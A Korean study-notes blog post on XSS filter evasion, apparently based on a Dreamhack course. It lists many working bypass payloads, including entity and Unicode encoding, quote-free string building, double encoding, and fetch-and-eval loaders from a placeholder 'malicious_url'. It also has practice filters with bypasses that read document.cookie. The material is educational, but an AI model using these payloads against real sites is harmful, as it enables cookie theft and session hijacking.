Home [Study] XSS Filtering Bypass
Post
Cancel

[Study] XSS Filtering Bypass

๐Ÿ’ก [Dreamhack] Web Hacking Advanced - Client Side - XSS Filterfing Bypass I, II๋ฅผ ๊ณต๋ถ€ํ•˜๋ฉฐ ์ •๋ฆฌํ•˜์˜€์Šต๋‹ˆ๋‹ค.


#1. ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ์†์„ฑ


ํƒœ๊ทธ์˜ ์†์„ฑ ๊ฐ’์œผ๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์กด์žฌํ•œ๋‹ค. ๋Œ€ํ‘œ์ ์œผ๋กœ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ง€์ •ํ•˜๋Š” on์œผ๋กœ ์‹œ์ž‘ํ•˜๋Š” ์†์„ฑ๋“ค์ด ์กด์žฌํ•œ๋‹ค. ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๋ž€ ํŠน์ • ์š”์†Œ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ด๋ฒคํŠธ๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์กด์žฌํ•˜๋Š” ์ฝœ๋ฐฑ ํ˜•ํƒœ์˜ ํ•ธ๋“ค๋Ÿฌ ํ•จ์ˆ˜์ด๋‹ค.

์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ์†์„ฑ: onload, onerror, onfocus


onerror ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ

1
2
3
4
5
<!-- ์ด๋ฏธ์ง€ ๋กœ๋“œ ์„ฑ๊ณต > onerror ํ•ธ๋“ค๋Ÿฌ ์‹คํ–‰X -->
<img src="valid" onerror="alert(1)">

<!-- ์ด๋ฏธ์ง€ ๋กœ๋“œ ์‹คํŒจ > onerror ํ•ธ๋“ค๋Ÿฌ ์‹คํ–‰ -->
<img src="invalid" onerror="alert(1)">


onfocus ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ

1
2
3
4
5
<!-- autofocus ์†์„ฑ์„  ์ฃผ์–ด ์ž๋™์œผ๋กœ ํฌ์ปค์Šค๋ฅผ ์‹œํ‚ด -->
<input id="inputBox" onfocus="alert(1)" autofocus>

<!-- id ๊ฐ’์„ ์ฃผ์–ด URL์˜ hash(/#inputBox) ๋ถ€๋ถ„์— id ๊ฐ’์„ ์ž…๋ ฅํ•˜์—ฌ ํฌ์ปค์Šค ๋˜๋„๋ก ์„ค์ •. -->
<input id="inputBox" onfocus="alert(1)">


#2. ๋ฌธ์ž์—ด ์น˜ํ™˜


XSS ํ‚ค์›Œ๋“œ๋ฅผ ํ•„ํ„ฐ๋งํ•  ๋•Œ ๋ฌธ์ž์—ด์„ ๋‹จ์ˆœํžˆ ์น˜ํ™˜ํ•˜๊ฑฐ๋‚˜ ์ œ๊ฑฐํ•˜๋Š” ๋ฐฉ์‹๋„ ์‚ฌ์šฉ๋˜๊ณค ํ•œ๋‹ค. ๋‹จ์ˆœํžˆ ์˜์‹ฌ๋˜๋Š” ๊ตฌ๋ฌธ์„ ์ œ๊ฑฐํ•  ๊ฒฝ์šฐ ํ•„ํ„ฐ๋ง๋˜๋Š” ํ‚ค์›Œ๋“œ ์‚ฌ์ด์— ์ƒˆ๋กœ์šด ํ•„ํ„ฐ๋ง ํ‚ค์›Œ๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์šฐํšŒ ๊ฐ€๋Šฅํ•˜๋‹ค.

๋ฌธ์ž์—ด ์น˜ํ™˜ ์šฐํšŒ

1
2
3
4
/* ํ•„ํ„ฐ๋ง ํ•จ์ˆ˜ */
function XSSFilter(data){
  return data.replace(/script/gi, '');
}
1
2
<!-- ํ‚ค์›Œ๋“œ๋ฅผ ์ค‘์ฒฉ ์‚ฝ์ž…ํ•˜์—ฌ ์šฐํšŒ -->
<sscriptcript>alert(1)</sscriptcript>


#3. ํ™œ์„ฑ ํ•˜์ดํผ๋งํฌ


HTML ๋งˆํฌ์—…์—์„œ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” URL์€ ํ™œ์„ฑ ์ฝ˜ํ…์ธ ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋‹ค. javascript: ์Šคํ‚ค๋งˆ๋Š” URL ๋กœ๋“œ ์‹œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•œ๋‹ค.

URL ์Šคํ‚ค๋งˆ

๋‹ค์Œ๊ณผ ๊ฐ™์ด a ํƒœ๊ทธ๋‚˜ iframe ํƒœ๊ทธ์—์„œ URL ์†์„ฑ์— ์Šคํ‚ค๋งˆ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

1
2
<a href="javascript:alert(1)"></a>
<iframe src="javascript:alert(1)">


์ •๊ทœํ™” ์šฐํšŒ

์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ณ ์ž XSS ํ‚ค์›Œ๋“œ๋ฅผ ํ•„ํ„ฐ๋งํ•  ๋•Œ javascript: ์Šคํ‚ค๋งˆ๋ฅผ ํ•„ํ„ฐ๋งํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์กด์žฌํ•˜๋Š”๋ฐ, ์ด๋Š” ์ •๊ทœํ™”๋ฅผ ์ด์šฉํ•˜์—ฌ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์กด์žฌํ•œ๋‹ค. ์ •๊ทœํ™” ๊ณผ์ •์—์„œ \x01, \x04, \t์™€ ๊ฐ™์€ ํŠน์ˆ˜ ๋ฌธ์ž๋“ค์ด ์ œ๊ฑฐ๋˜๊ณ , ์Šคํ‚ค๋งˆ์˜ ๋Œ€์†Œ๋ฌธ์ž๊ฐ€ ํ†ต์ผ๋œ๋‹ค.

1
2
<a href="\1\4jAVasC\triPT:alert(1)"></a>
<iframe src="\1\4jAVasC\triPT:alert(1)">


HTML Entity Encoding

HTML ํƒœ๊ทธ ์†์„ฑ ๋‚ด์—์„œ๋Š” HTML Entity Encoding์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ javascript: ์Šคํ‚ค๋งˆ๋‚˜ XSS ํ‚ค์›Œ๋“œ๋ฅผ ์ธ์ฝ”๋”ฉํ•˜์—ฌ ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

1
2
<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(1)"></a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(1)">


+) URL ์ •๊ทœํ™” ํ…Œ์ŠคํŠธ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ๋Š” URL ๊ฐ์ฒด๋ฅผ ํ†ตํ•ด URL์„ ์ง์ ‘ ์ •๊ทœํ™”ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, protocol, hostname ๋“ฑ URL์˜ ๊ฐ์ข… ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋‹ค.

1
2
3
4
5
function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"


#4. ํƒœ๊ทธ์™€ ์†์„ฑ ๊ธฐ๋ฐ˜ ํ•„ํ„ฐ๋ง


๋Œ€์†Œ๋ฌธ์ž ์ธ์‹ ํ•„ํ„ฐ

๋Œ€์†Œ๋ฌธ์ž๋ฅผ ๋ชจ๋‘ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์šฐํšŒ ๊ฐ€๋Šฅํ•˜๋‹ค.

1
<sCript>alert(1)</scRIPT>


ํŠน์ • ํƒœ๊ทธ ๋ฐ ์†์„ฑ ํ•„ํ„ฐ

script, img, input๊ณผ ๊ฐ™์€ ํƒœ๊ทธ๋ฅผ ํ•„ํ„ฐ๋ง ํ•  ๋•Œ, ๋‹ค๋ฅธ ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๋‹ค.

1
2
<video><source onerror="alert(1)"/></video>
<body onload="alert(1)"/>


on ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ํ•„ํ„ฐ๋งํ•˜๊ณ , ๋ฉ€ํ‹ฐ ๋ผ์ธ์„ ์ง€์›ํ•˜๋Š” ๋ฌธ์ž๋ฅผ ๊ฒ€์‚ฌํ•  ๋•Œ, ์ƒˆ๋กœ์šด inner frame์„ ์ƒ์„ฑํ•˜๋Š” iframe ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•ด ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

1
2
3
4
5
<!-- src ์†์„ฑ์—์„œ ํ™œ์„ฑ ํ•˜์ดํผ๋งํฌ ์ด์šฉ -->
<iframe src="javascript:alert(1)">

<!-- srcdoc ์†์„ฑ์„ ์ด์šฉ -->
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

์œ„์—์„œ srcdoc ์†์„ฑ์„ ์ด์šฉํ•˜์—ฌ inner frame ๋‚ด์— ์ƒˆ๋กœ์šด XSS ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ ์ด๋•Œ, HTML ์†์„ฑ ๋‚ด์— ๋“ค์–ด๊ฐ€๊ธฐ์— HTML Entity Encoding์œผ๋กœ ๊ธฐ์กด ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. parent.alert๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์ด์œ ๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ˜ธ์ถœ๋˜๋Š” ์˜์—ญ์˜ ์ƒ์œ„ ๋ฌธ์„œ์— ์กด์žฌํ•˜๋Š” alert๋ฅผ ํ˜ธ์ถœ ํ•ด์•ผํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.


#5. ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ํ•จ์ˆ˜ ๋ฐ ํ‚ค์›Œ๋“œ ํ•„ํ„ฐ๋ง


Unicode escape sequence

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋Š” Unicode escape sequence๋ฅผ ์ง€์›ํ•œ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ํ•„ํ„ฐ๋ง ๋œ ๋ฌธ์ž์—ด์„ ์šฐํšŒํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. (Unicode escape sequence๋Š” \uAC00 == ๊ฐ€์™€ ๊ฐ™์ด ๋ฌธ์ž์—ด์—์„œ ์œ ๋‹ˆ์ฝ”๋“œ ๋ฌธ์ž๋ฅผ ์ฝ”๋“œํฌ์ธํŠธ๋กœ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ๋Š” ํ‘œ๊ธฐ๋ฒ•)

1
2
3
"\u0063ookie" // cookie
"cooki\x65"   // cookie
\u0061lert(1) // alert(1)


Computed member access

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋Š” Computed member access๋ฅผ ์ง€์›ํ•œ๋‹ค. Computed member access๋Š” ๊ฐ์ฒด์˜ ํŠน์ • ์†์„ฑ์— ์ ‘๊ทผํ•  ๋•Œ ์†์„ฑ ์ด๋ฆ„์„ ๋™์ ์œผ๋กœ ๊ณ„์‚ฐํ•˜๋Š” ๊ธฐ๋Šฅ์ด๋‹ค.

1
document["coo"+"kie"] == document["cookie"] == document.cookie


๐Ÿ”ป XSS ๊ณต๊ฒฉ์— ํ”ํžˆ ์‚ฌ์šฉ๋˜๋Š” ๊ตฌ๋ฌธ๊ณผ ํ•„ํ„ฐ๋ง ์šฐํšŒ๋ฅผ ์œ„ํ•ด ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๋Œ€์ฒด ์˜ˆ์‹œ

๊ตฌ๋ฌธ๋Œ€์ฒด ๊ตฌ๋ฌธ
alert, XMLHttpRequest ๋“ฑ ๋ฌธ์„œ ์ตœ์ƒ์œ„ ๊ฐ์ฒด ๋ฐ ํ•จ์ˆ˜window['al'+'ert'], window['XMLHtt'+'pRequest'] ๋“ฑ ์ด๋ฆ„ ๋Š์–ด์„œ ์“ฐ๊ธฐ
windowself, this
eval(code)Function(code)()
FunctionisNaN['constr'+'uctor'] ๋“ฑ ํ•จ์ˆ˜์˜ constructor ์†์„ฑ ์ ‘๊ทผ


๋ฌธ์ž์—ด ์„ ์–ธ

ํ•„ํ„ฐ๋ง ํ˜น์€ ์ธ์ฝ”๋”ฉ/๋””์ฝ”๋”ฉ์˜ ์ด์œ ๋กœ ํŠน์ • ๋ฌธ์ž((), [], ", ' โ€ฆ)๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•˜๋Š” ๊ฒฝ์šฐ์— ํ•ด๋‹น ๋ฌธ์ž๋ฅผ ๋Œ€์ฒดํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•๋“ค์„ ํ†ตํ•ด ์šฐํšŒํ•˜์—ฌ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋‹ค.

๋”ฐ์˜ดํ‘œ(", ')๊ฐ€ ํ•„ํ„ฐ๋ง๋˜์–ด ์žˆ๋‹ค๋ฉด ํ…œํ”Œ๋ฆฟ ๋ฆฌํ„ฐ๋Ÿด(Template Literals)์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ฐฑํ‹ฑ(`)์„ ์ด์šฉํ•˜์—ฌ ์„ ์–ธํ•  ์ˆ˜ ์žˆ๊ณ , ${} ํ‘œํ˜„์‹์„ ์ด์šฉํ•ด ๋‹ค๋ฅธ ๋ณ€์ˆ˜๋‚˜ ์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. (ํ…œํ”Œ๋ฆฟ ๋ฆฌํ„ฐ๋Ÿด์€ ๋‚ด์žฅ๋œ ํ‘œํ˜„์‹์„ ํ—ˆ์šฉํ•˜๋Š” ๋ฌธ์ž์—ด ๋ฆฌํ„ฐ๋Ÿด๋กœ, ์—ฌ๋Ÿฌ ์ค„๋กœ ์ด๋ค„์ง„ ๋ฌธ์ž์—ด๊ณผ ๋ฌธ์ž๋ฅผ ๋ณด๊ด€ํ•˜๊ธฐ ์œ„ํ•œ ๊ธฐ๋Šฅ์œผ๋กœ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.)


  1. RegExp ๊ฐ์ฒด ์‚ฌ์šฉํ•˜๊ธฐ

    RegExp ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ๊ฐ์ฒด์˜ ํŒจํ„ด ๋ถ€๋ถ„์„ ๊ฐ€์ ธ์˜ด์œผ๋กœ์จ ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.

    1
    2
    
     var foo = /Hello World!/.source; // "Hello World!"
     var bar = /test !/ + [];         // "/test !/"
    
  2. String.fromCharCode ํ•จ์ˆ˜ ์‚ฌ์šฉ

    String.fromCharCode ํ•จ์ˆ˜๋Š” ์œ ๋‹ˆ์ฝ”๋“œ์˜ ๋ฒ”์œ„ ์ค‘ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ „๋‹ฌ๋œ ์ˆ˜์— ํ•ด๋‹นํ•˜๋Š” ๋ฌธ์ž๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค.

    1
    
     var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
    
  3. ๊ธฐ๋ณธ ๋‚ด์žฅ ํ•จ์ˆ˜๋‚˜ ๊ฐ์ฒด์˜ ๋ฌธ์ž๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•

    ๋‚ด์žฅ ํ•จ์ˆ˜๋‚˜ ๊ฐ์ฒด๋ฅผ toString ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ๋ฌธ์ž์—ด๋กœ ๋ณ€๊ฒฝํ•˜๋ฉด ํ˜•ํƒœ๊ฐ€ ๋ฌธ์ž์—ด๋กœ ๋ณ€ํ™˜๋œ๋‹ค. ์›ํ•˜๋Š” ๋ฌธ์ž์—ด์„ ๋งŒ๋“œ๋Š”๋ฐ ํ•„์š”ํ•œ ๋ฌธ์ž๋“ค์„ ํ•œ ๊ธ€์ž์”ฉ ๊ฐ€์ ธ์™€ ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.

    1
    2
    3
    4
    
     var baz = history.toString()[8] + // "H"
     (history+[])[9] + // "i"
     (URL+0)[12] + // "("
     (URL+0)[13]; // ")" ==> "Hi()"
    
    • history.toString() : "[object History]" ๋ฌธ์ž์—ด ๋ฐ˜ํ™˜
    • URL.toString() : "function URL () { [native code] }" ๋ฌธ์ž์—ด ๋ฐ˜ํ™˜
  4. ์ˆซ์ž ๊ฐ์ฒด์˜ ์ง„๋ฒ• ๋ณ€ํ™˜

    10์ง„์ˆ˜ ์ˆซ์ž๋ฅผ 36์ง„์ˆ˜๋กœ ๋ณ€๊ฒฝํ•˜์—ฌ ASCII ์˜์–ด ์†Œ๋ฌธ์ž ๋ฒ”์œ„๋ฅผ ๋ชจ๋‘ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋•Œ, E4X ์—ฐ์‚ฐ์ž ("..")๊ฐ€ ์กด์žฌํ•˜๋Š”๋ฐ, ์ฃผ๋กœ ์  ๋‘๊ฐœ๋ฅผ ์“ฐ๊ฑฐ๋‚˜ ์†Œ์ˆ˜์ ์œผ๋กœ ์ธ์‹๋˜์ง€ ์•Š๋„๋ก ๊ณต๋ฐฑ๊ณผ ์ ์„ ์กฐํ•ฉํ•ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

    1
    2
    
     var foo = 29234652..toString(36); // "hello"
     var bar = 29234652 .toString(36); // "hello"
    


ํ•จ์ˆ˜ ํ˜ธ์ถœ

์ผ๋ฐ˜์ ์ธ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์˜ ํ•จ์ˆ˜ ํ˜ธ์ถœ ๋ฐฉ๋ฒ•

1
2
alert(1); // Parentheses
alert`1`; // Tagged Templates

์†Œ๊ด„ํ˜ธ์™€ ๋ฐฑํ‹ฑ ๋ฌธ์ž๊ฐ€ ๋ชจ๋‘ ํ•„ํ„ฐ๋ง ๋˜์–ด์žˆ๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•๋“ค๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

  1. javascript ์Šคํ‚ค๋งˆ๋ฅผ ์ด์šฉํ•œ location ๋ณ€๊ฒฝ

    javascript: ์Šคํ‚ค๋งˆ๋ฅผ ์ด์šฉํ•ด location ๊ฐ์ฒด๋ฅผ ๋ณ€์กฐํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ ์‹คํ–‰.

    1
    2
    3
    
     location = "javascript:alert\x281\x29;";
     location.href = "javascript:alert\u00281\u0029;";
     location['href'] = "javascript:alert\0501\051;";
    
  2. Symbol.hasInstance ์˜ค๋ฒ„๋ผ์ด๋”ฉ

    ECMAScript 6์— ์ถ”๊ฐ€๋œ Symbol์„ ์†์„ฑ ๋ช…์นญ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. 0 instanceof C๋ฅผ ์—ฐ์‚ฐํ•  ๋•Œ, C์— Symbol.hasInstance ์†์„ฑ์— ํ•จ์ˆ˜๊ฐ€ ์žˆ์„ ๊ฒฝ์šฐ ๋ฉ”์†Œ๋“œ๋กœ ํ˜ธ์ถœํ•˜์—ฌ instanceof ์—ฐ์‚ฐ์ž์˜ ๊ฒฐ๊ณผ ๊ฐ’์œผ๋กœ ์‚ฌ์šฉํ•˜๊ฒŒ ๋œ๋‹ค. instanceof๋ฅผ ์—ฐ์‚ฐํ•˜๊ฒŒ ๋˜๋ฉด ์‹ค์ œ ์ธ์Šคํ„ด์Šค ์ฒดํฌ ๋Œ€์‹  ์›ํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ๋ฉ”์†Œ๋“œ๋กœ ํ˜ธ์ถœ๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค.

    1
    2
    
     "alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
     Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
    
  3. document.body.innerHTML ์ถ”๊ฐ€

    document.body.innerHTML์— ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ•  ๊ฒฝ์šฐ ์ƒˆ๋กœ์šด HTML ์ฝ”๋“œ๊ฐ€ ๋ฌธ์„œ์— ์ถ”๊ฐ€๋˜๊ณ , ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋•Œ, innerHTML๋กœ HTML ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ๋•Œ์—๋Š” ๋ณด์•ˆ ์ƒ <script> ํƒœ๊ทธ๋ฅผ ์‚ฝ์ž…ํ•ด๋„ ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค. ๋”ฐ๋ผ์„œ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ด์šฉํ•ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•œ๋‹ค.

    1
    2
    
     document.body.innerHTML += "<img src=x: onerror=alert&#40;1&#41;>";
     documnet.body.innerHTML += "<body src=x: onload=alert&#40;1&#41;>";
    


#6. ๋”๋ธ” ์ธ์ฝ”๋”ฉ(Double Encoding)


์ž…๋ ฅ ๊ฒ€์ฆ์€ ๋””์ฝ”๋”ฉ ๋“ฑ์˜ ๋ชจ๋“  ์ „์ฒ˜๋ฆฌ ์ž‘์—…์„ ๋งˆ์น˜๊ณ  ์ˆ˜ํ–‰ํ•ด์•ผ ํ•œ๋‹ค. ๊ฒ€์ฆ์ด ๋๋‚œ ๋ฐ์ดํ„ฐ๋ฅผ ๋””์ฝ”๋”ฉํ•˜์—ฌ ์‚ฌ์šฉํ•ด์„œ๋Š” ์•ˆ๋œ๋‹ค. ์›น ๋ฐฉํ™”๋ฒฝ์„ ๊ฑฐ์ณ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ์ „๋‹ฌ๋˜๋Š” ์›น ์„œ๋ฒ„์—์„œ, ์›น ๋ฐฉํ™”๋ฒฝ์œผ๋กœ๋ถ€ํ„ฐ ํ†ต๊ณผํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ค์‹œ ๋””์ฝ”๋”ฉํ•ด์„œ ์‚ฌ์šฉํ•˜๋ฉด ๋”๋ธ” ์ธ์ฝ”๋”ฉ์œผ๋กœ ์›น ๋ฐฉํ™”๋ฒฝ์˜ ๊ฒ€์ฆ์„ ์‰ฝ๊ฒŒ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

1
2
3
4
5
// Failed Request
POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1

// Successful Request
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1


#7. ๊ธธ์ด ์ œํ•œ


์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ์˜ ๊ธธ์ด๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ, ๋‹ค๋ฅธ ๊ฒฝ๋กœ๋กœ ์‹คํ–‰ํ•  ์ถ”๊ฐ€์ ์ธ ์ฝ”๋“œ(payload)๋ฅผ URL fragment ๋“ฑ์œผ๋กœ ์‚ฝ์ž…ํ•˜๊ณ  ๋ณธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์งง์€ ์ฝ”๋“œ(launcher)๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

location.hash

Fragment๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋„˜๊ฒจ์ฃผ๊ณ  XSS ์ง€์ ์—์„œ location.hash๋กœ fragment ๋ถ€๋ถ„์„ ์ถ”์ถœํ•˜์—ฌ eval() ๋กœ ์‹คํ–‰ํ•˜๋Š” ๊ธฐ๋ฒ•์ด ํ”ํžˆ ์‚ฌ์šฉ๋œ๋‹ค.

1
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(1);


์™ธ๋ถ€ ์ž์›์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ๋ฐฉ์‹

1
import('malicious_url');
1
2
3
var e = document.createElement('script')
e.src = 'malicious_url';
document.appendChild(e);
1
fetch('malicious_url').then(x=>eval(x.text()))


#Practice


  1. โ€œalertโ€, โ€œwindowโ€, โ€œdocumentโ€ ํ•„ํ„ฐ๋ง

    alert(document.cookie) ์‹คํ–‰

    Filtering function

    1
    2
    3
    4
    5
    6
    
     function XSSFilter(data){
      		if(/alert|window|document/.test(data)){
     		return false;
      		}
      		return true;
     }
    

    Bypass

    1
    2
    3
    4
    5
    
     // 1) ์œ ๋‹ˆ์ฝ”๋“œ ์ด์šฉ
     \u0061lert(\u0064ocument.cookie);
    
     // 2) this ํ‚ค์›Œ๋“œ๋กœ window ๊ฐ์ฒด ์ ‘๊ทผ
     this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
    


  1. ์ฃผ์š” ํ‚ค์›Œ๋“œ์™€ ํŠน์ˆ˜๋ฌธ์ž ํ•„ํ„ฐ๋ง

    alert(document.cookie) ์‹คํ–‰

    Filtering function

    1
    2
    3
    4
    5
    6
    
     function XSSFilter(data){
      	if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|constructor|[\-+\\<>{}=]/i.test(data)){
           return false;
      		}
      		return true;
     }
    

    Bypass

    1
    2
    3
    4
    5
    6
    
     // 1) decodeURI ํ•จ์ˆ˜ ์ด์šฉ
     Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
       decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
    
     // 2) atob ํ•จ์ˆ˜ & constructor ์†์„ฑ ์ด์šฉ
     Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
    
    • 1) URL Encoding์€ ํ•˜๋‹จ์˜ ์‚ฌ์ดํŠธ ์ฐธ๊ณ  https://www.w3schools.com/tags/ref_urlencode.ASP https://onlineasciitools.com/url-encode-ascii
    • 2) Base64 ๊ฐ’์€ btoa('string') ํ•จ์ˆ˜ ์ด์šฉ


  2. (, ), โ€œ, โ€˜, ` ํ•„ํ„ฐ๋ง

    alert(document.cookie) ์‹คํ–‰

    Filtering function

    1
    2
    3
    4
    5
    6
    
     function XSSFilter(data){
      	if(/[()"'`]/.test(data)){
           return false;
      		}
      		return true;
     }
    

    Bypass

    1
    2
    3
    4
    5
    
     // 1) RegExp & URL.toString & Symbol.hasInstance
     /alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
    
     // 2) javascript ์Šคํ‚ค๋งˆ๋กœ location ๋ณ€๊ฒฝ & RegExp & URL.toString
     location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
    
This post is licensed under CC BY 4.0 by the author.

[Certificate] ์ธํ„ฐ๋„ท๋ณด์•ˆ์ „๋ฌธ๊ฐ€ 2๊ธ‰ ํ•„๊ธฐ ๊ธฐ์ถœ๋ฌธ์ œ ์ •๋ฆฌ

[Study] Content Security Policy